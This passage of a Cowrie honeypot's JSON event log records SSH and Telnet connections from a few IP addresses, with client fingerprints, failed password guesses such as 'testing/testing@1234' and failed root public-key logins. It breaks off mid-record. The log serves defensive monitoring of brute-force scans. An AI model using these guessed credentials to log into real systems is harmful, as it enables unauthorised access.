{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:23.602091Z","src_ip":"192.109.200.237","session":"af51ad7ff359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:23.687265Z","src_ip":"192.109.200.237","session":"af51ad7ff359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.237.108.178","src_port":11824,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64d34469275","protocol":"ssh","message":"New connection: 23.237.108.178:11824 (10.17.0.5:22) [session: b64d34469275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:23.752928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:23.759167Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:23.826057Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:23.933740Z","src_ip":"192.109.200.237","session":"af51ad7ff359","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:13:5a:89:2b:63:23:78:10:d7:c2:0a:9b:2e:3a:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJyB/Lpaj20BGGD3buD9AD33OZ88sU9PGezTRIuvZqGlptXAq1hZzJrDS3CZk+9fpvAgByP0asGV2NDTvKWQ54Q9p1lvDbd7jjqgQz1rWPlnKce45DRRDdiRqwQXd39Z2dC5PNW9J6oOJWkVFtucjc56LyMsfM2X95hRMGmUVhO8Vf8f6FBUV6EarL9fwru2d4FLhlebrkACg0GkkBoHiWoZvwxtH26Ev0I8OrLz7cz4Ui9XjV3OU0arr/HJs6WNSVKvCoelUfSFSbdWWAjP6AP2B8mYLR77djf/iWzHyL579EgxGN3cy/MAABPZLpu+RcwzyN5YdSAfrhlQtlh2KZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:13:5a:89:2b:63:23:78:10:d7:c2:0a:9b:2e:3a:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.127415Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:13:5a:89:2b:63:23:78:10:d7:c2:0a:9b:2e:3a:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJyB/Lpaj20BGGD3buD9AD33OZ88sU9PGezTRIuvZqGlptXAq1hZzJrDS3CZk+9fpvAgByP0asGV2NDTvKWQ54Q9p1lvDbd7jjqgQz1rWPlnKce45DRRDdiRqwQXd39Z2dC5PNW9J6oOJWkVFtucjc56LyMsfM2X95hRMGmUVhO8Vf8f6FBUV6EarL9fwru2d4FLhlebrkACg0GkkBoHiWoZvwxtH26Ev0I8OrLz7cz4Ui9XjV3OU0arr/HJs6WNSVKvCoelUfSFSbdWWAjP6AP2B8mYLR77djf/iWzHyL579EgxGN3cy/MAABPZLpu+RcwzyN5YdSAfrhlQtlh2KZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.131014Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:8a:72:01:66:c1:ba:07:23:49:16:8a:eb:55:71:87","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPwJgC2WH4CeiG0hCWQJigtApYtoKS00EjXAes1gQFvZpzpy1aKDx1PVk8/rrruRxL2jhowcoD3MediM6lGPuvrixndagYJRl9qM5oy51gi4ELU9PoLBvC2UZAp1s3uElAE8jlAcjvqt41qZaEYJCX+QvwKYwgQ3Bj2HbCmZ1/rlAAAAFQDxCv3+oMNXguuiG61UjGgomfq6RQAAAIEAk+JtkfumQEWVOvJ5mEL0xbP07ZRxEoiggBo70D9n8bNkDQJjMoAqivwJHgOJFGYyP11ERyzRFuRdtuOCiHyVnbpc7YnMT6VtN9mz9DIy7RM7lE3B0GZMEPN+REfnZE8ZLc78Ry7trtzgmg/qyTgRLBC5xJRNgq2gtVVvV93NLXEAAACBANoinKND6nYQetUBERW7RzuX/dvPoGWQXpyzt46GHoGVl2Z+8uKhVNKbVsMqjiCDMnDtedAiiOed1Tje+u4Go+nd1vrGJEA/+fidYO1xjoEwEyrp4FM1eveaC5GLvqFkq/ujmMHTpbASFdFEtbCq12oulFGbpIiTqUsLWsAfsQYn","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8e:8a:72:01:66:c1:ba:07:23:49:16:8a:eb:55:71:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.196240Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:8a:72:01:66:c1:ba:07:23:49:16:8a:eb:55:71:87","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPwJgC2WH4CeiG0hCWQJigtApYtoKS00EjXAes1gQFvZpzpy1aKDx1PVk8/rrruRxL2jhowcoD3MediM6lGPuvrixndagYJRl9qM5oy51gi4ELU9PoLBvC2UZAp1s3uElAE8jlAcjvqt41qZaEYJCX+QvwKYwgQ3Bj2HbCmZ1/rlAAAAFQDxCv3+oMNXguuiG61UjGgomfq6RQAAAIEAk+JtkfumQEWVOvJ5mEL0xbP07ZRxEoiggBo70D9n8bNkDQJjMoAqivwJHgOJFGYyP11ERyzRFuRdtuOCiHyVnbpc7YnMT6VtN9mz9DIy7RM7lE3B0GZMEPN+REfnZE8ZLc78Ry7trtzgmg/qyTgRLBC5xJRNgq2gtVVvV93NLXEAAACBANoinKND6nYQetUBERW7RzuX/dvPoGWQXpyzt46GHoGVl2Z+8uKhVNKbVsMqjiCDMnDtedAiiOed1Tje+u4Go+nd1vrGJEA/+fidYO1xjoEwEyrp4FM1eveaC5GLvqFkq/ujmMHTpbASFdFEtbCq12oulFGbpIiTqUsLWsAfsQYn","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.199970Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:54:d5:19:70:9a:7e:c7:3c:c3:86:e6:df:50:64:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuJz0Ry14rQPLSD6vHNH2tiyiEkwvGP1Q563Lq4eeSIgMS2/Nu/6CCt0da8PmcVPEDRE4rUv+wKD0Vgt95Y5wwYVzCtUgC7B+0hf3r5dkiDFmvHLBrbcWdVAvAm3AFUFiCU2WdD2JHLhnav0N7Szb6hJ7hsUZpR+ot/GsRNSW3nfIcio1BaRDNduOoUumVw2STTZeCiNFa5LaRlRqcf6LnIOBrNMFKgJE3GL397jEHAdhiiOD6Jc3sJthjLwBxhVNyM2JA64Df0J2OnsQmVY8xeNh0Hb0GMNVEZO9hQZoez7qUkbTE4IzVlUOv+r7BpWBsRJOikw5g7OJmkKpOu/8f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:54:d5:19:70:9a:7e:c7:3c:c3:86:e6:df:50:64:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.269375Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:54:d5:19:70:9a:7e:c7:3c:c3:86:e6:df:50:64:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuJz0Ry14rQPLSD6vHNH2tiyiEkwvGP1Q563Lq4eeSIgMS2/Nu/6CCt0da8PmcVPEDRE4rUv+wKD0Vgt95Y5wwYVzCtUgC7B+0hf3r5dkiDFmvHLBrbcWdVAvAm3AFUFiCU2WdD2JHLhnav0N7Szb6hJ7hsUZpR+ot/GsRNSW3nfIcio1BaRDNduOoUumVw2STTZeCiNFa5LaRlRqcf6LnIOBrNMFKgJE3GL397jEHAdhiiOD6Jc3sJthjLwBxhVNyM2JA64Df0J2OnsQmVY8xeNh0Hb0GMNVEZO9hQZoez7qUkbTE4IzVlUOv+r7BpWBsRJOikw5g7OJmkKpOu/8f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.272271Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:f1:07:13:0a:ac:c2:f7:46:64:a4:a3:29:58:85:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmRuCcUtCbqYtKSw35edHUgIDzd+Ueci0LgSKw6R5hDFZ/zsLZvy4O+KOpEZ61cVwO5Nu4CFcSFvgldpKqNkYdlBERz01/Iv+ScYpdwbLLJsK7pr3mjcPJd7wNE873dipiD9568bsAFHjdIKfxebVYmmItsiJTzwl4Vug/p8cxD1FQV567+AmYfV2ZUQTTdIbiL92M21eM8XnpATi285SYE83IZfy2v+dWwfK7Kog32/EOOFMct7FLHTlvXMV7BS+zT+ZDxsjBgKOjJpLKq2VrSgbaal4C+Sdzk89ion4VorYnFW+b+cpMxhQtdclVgxFAWIRhKvwSGZSD8scZrVvnQ4Id/aLNwuoz8PKKzwUMTt2aygXR0sKrT7WMvjW3dbFSOx6D1TCbkyEweqt7YDHyfD8jK4FGQBJlmeUEz8nraJKtFZ8hssAX1l0EcUETqSwChwaidDS5+0sQdrb1mF3N+To/xuWmbjv6uJeslbPtsGzoE7DdWW2QV2al5XUjp89CHYRph8tyfFvPZnMw6dGjIS3VSlqsRCqrhSUhEA5i7bFRTFVEfMhqCXcLTTlrtmo1UlY66quZS+q+koWKmbZiZuptv7nFunEzLyOebYwuCOYFUu1GXTxl6wptclyw/jABbfVdWnxkT/iVQDpdvlZogptRqR4v31WV8B3VRXm6mQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:f1:07:13:0a:ac:c2:f7:46:64:a4:a3:29:58:85:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.366573Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:f1:07:13:0a:ac:c2:f7:46:64:a4:a3:29:58:85:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCmRuCcUtCbqYtKSw35edHUgIDzd+Ueci0LgSKw6R5hDFZ/zsLZvy4O+KOpEZ61cVwO5Nu4CFcSFvgldpKqNkYdlBERz01/Iv+ScYpdwbLLJsK7pr3mjcPJd7wNE873dipiD9568bsAFHjdIKfxebVYmmItsiJTzwl4Vug/p8cxD1FQV567+AmYfV2ZUQTTdIbiL92M21eM8XnpATi285SYE83IZfy2v+dWwfK7Kog32/EOOFMct7FLHTlvXMV7BS+zT+ZDxsjBgKOjJpLKq2VrSgbaal4C+Sdzk89ion4VorYnFW+b+cpMxhQtdclVgxFAWIRhKvwSGZSD8scZrVvnQ4Id/aLNwuoz8PKKzwUMTt2aygXR0sKrT7WMvjW3dbFSOx6D1TCbkyEweqt7YDHyfD8jK4FGQBJlmeUEz8nraJKtFZ8hssAX1l0EcUETqSwChwaidDS5+0sQdrb1mF3N+To/xuWmbjv6uJeslbPtsGzoE7DdWW2QV2al5XUjp89CHYRph8tyfFvPZnMw6dGjIS3VSlqsRCqrhSUhEA5i7bFRTFVEfMhqCXcLTTlrtmo1UlY66quZS+q+koWKmbZiZuptv7nFunEzLyOebYwuCOYFUu1GXTxl6wptclyw/jABbfVdWnxkT/iVQDpdvlZogptRqR4v31WV8B3VRXm6mQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.370823Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:67:88:55:c7:88:fc:02:2b:75:81:8d:ac:e4:53:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzPIRJ5v++rRJ7TbXEnibtytyalHnoPOF70MhCLr3ZVswhr3EGokWqQxuH9icDjyKqrYOVrDos9CD+nQDY43pTqnEUnVAVQeuAuVS24m+VLIXrlWsq5r1P+0AvEvk45oNbv7H6FJmoe2tilxaXGacbvIfYpkDsWRhVPa17vxIqQJdKiBsTlya8RYz9XLLXEy21REjGXIoKmyFxH2hwFxoaUbbsOkTgupmo0I4FCl4WdLMdFPYnW6na79SZ2P5ba3vNdr3dYYJQgsNJegCfgDNguWHBtMlovr0mgLQqNrE2x3femtXQt9fLeZbTb26LTDttjgmj5tbNOm6um87BamvB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:67:88:55:c7:88:fc:02:2b:75:81:8d:ac:e4:53:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.437826Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:67:88:55:c7:88:fc:02:2b:75:81:8d:ac:e4:53:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzPIRJ5v++rRJ7TbXEnibtytyalHnoPOF70MhCLr3ZVswhr3EGokWqQxuH9icDjyKqrYOVrDos9CD+nQDY43pTqnEUnVAVQeuAuVS24m+VLIXrlWsq5r1P+0AvEvk45oNbv7H6FJmoe2tilxaXGacbvIfYpkDsWRhVPa17vxIqQJdKiBsTlya8RYz9XLLXEy21REjGXIoKmyFxH2hwFxoaUbbsOkTgupmo0I4FCl4WdLMdFPYnW6na79SZ2P5ba3vNdr3dYYJQgsNJegCfgDNguWHBtMlovr0mgLQqNrE2x3femtXQt9fLeZbTb26LTDttjgmj5tbNOm6um87BamvB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.441939Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:24.510551Z","src_ip":"23.237.108.178","session":"b64d34469275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:25.018951Z","src_ip":"192.109.200.237","session":"af51ad7ff359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51054,"dst_ip":"159.203.135.109","dst_port":22,"session":"391b42325d12","protocol":"ssh","message":"New connection: 192.109.200.237:51054 (159.203.135.109:22) [session: 391b42325d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:26.697262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:26.702086Z","src_ip":"192.109.200.237","session":"391b42325d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:26.784986Z","src_ip":"192.109.200.237","session":"391b42325d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:27.038753Z","src_ip":"192.109.200.237","session":"391b42325d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:28.196846Z","src_ip":"192.109.200.237","session":"391b42325d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51062,"dst_ip":"159.203.135.109","dst_port":22,"session":"d504e798bca7","protocol":"ssh","message":"New connection: 192.109.200.237:51062 (159.203.135.109:22) [session: d504e798bca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:29.772002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:29.776849Z","src_ip":"192.109.200.237","session":"d504e798bca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:29.859043Z","src_ip":"192.109.200.237","session":"d504e798bca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:30.171523Z","src_ip":"192.109.200.237","session":"d504e798bca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34442,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4f12965b0f","protocol":"telnet","message":"New connection: 192.119.13.58:34442 (10.17.0.5:23) [session: 5c4f12965b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:30.675543Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:31.256432Z","src_ip":"192.109.200.237","session":"d504e798bca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52338,"dst_ip":"159.203.135.109","dst_port":22,"session":"c215f4b7341f","protocol":"ssh","message":"New connection: 192.109.200.237:52338 (159.203.135.109:22) [session: c215f4b7341f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:32.974552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:32.978826Z","src_ip":"192.109.200.237","session":"c215f4b7341f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v0